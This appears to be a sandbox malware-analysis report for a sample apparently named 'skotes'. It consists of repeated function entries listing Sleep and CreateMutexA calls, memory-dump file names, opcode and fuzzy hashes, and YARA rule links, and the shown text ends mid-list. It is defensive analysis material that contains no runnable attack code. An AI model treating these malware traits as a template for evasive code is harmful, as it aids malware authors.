sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 612fbe9886deeb5a5790dc41e656042975dae87215062ed90570d8759eb600d1
Instruction ID: bc6f219fa33c2efda6a4749ba737e43cdc95775bd9bdf03deb7b03cf99bb1923
Opcode Fuzzy Hash: 612fbe9886deeb5a5790dc41e656042975dae87215062ed90570d8759eb600d1
Instruction Fuzzy Hash: C9314C31B012089BEB18DB78DC89FADB761EBC6318F24821DE414973D6C7359D818762

Function 000CA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 020bff9b7f4afad155aa3fa9faec6e7b11e9a76d1614befe85463e66eaeb2899
Instruction ID: de377952bbcbf214a8d0c8abad0776d918e9b3fa71a669649f65fee53452c810
Opcode Fuzzy Hash: 020bff9b7f4afad155aa3fa9faec6e7b11e9a76d1614befe85463e66eaeb2899
Instruction Fuzzy Hash: 52313931705208DBEB18DB78DD89FADB772EB86318F24861DE014D73D6C775998087A2

Function 000C9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9c93abe3d8c11fe8c3df8925e3a15b859b995313e1d7e805119d6342880975d4
Instruction ID: dcaa3ccf5be9d9246dcbe5bef29b109c0b4f6ef293e3f90b98f13a3d2ee386e2
Opcode Fuzzy Hash: 9c93abe3d8c11fe8c3df8925e3a15b859b995313e1d7e805119d6342880975d4
Instruction Fuzzy Hash: 61217931705204DBEB28AB68ED89F6CB761EBC2314F20421DE418973D2CB769D808662

Function 000CA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 40f54317a5db26ef86891a9c4c657996e82de605e6b969ccd5a6c63a2bdfc83e
Instruction ID: cc2e348a13565377e066836fce5c9b2dec704e47f7eff5624b07e038ef187c88
Opcode Fuzzy Hash: 40f54317a5db26ef86891a9c4c657996e82de605e6b969ccd5a6c63a2bdfc83e
Instruction Fuzzy Hash: 9C213D31345208DBEB3867689C9AF7DB261DF82708F24441EE509D72D3CF7A498595A3

Function 000CA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
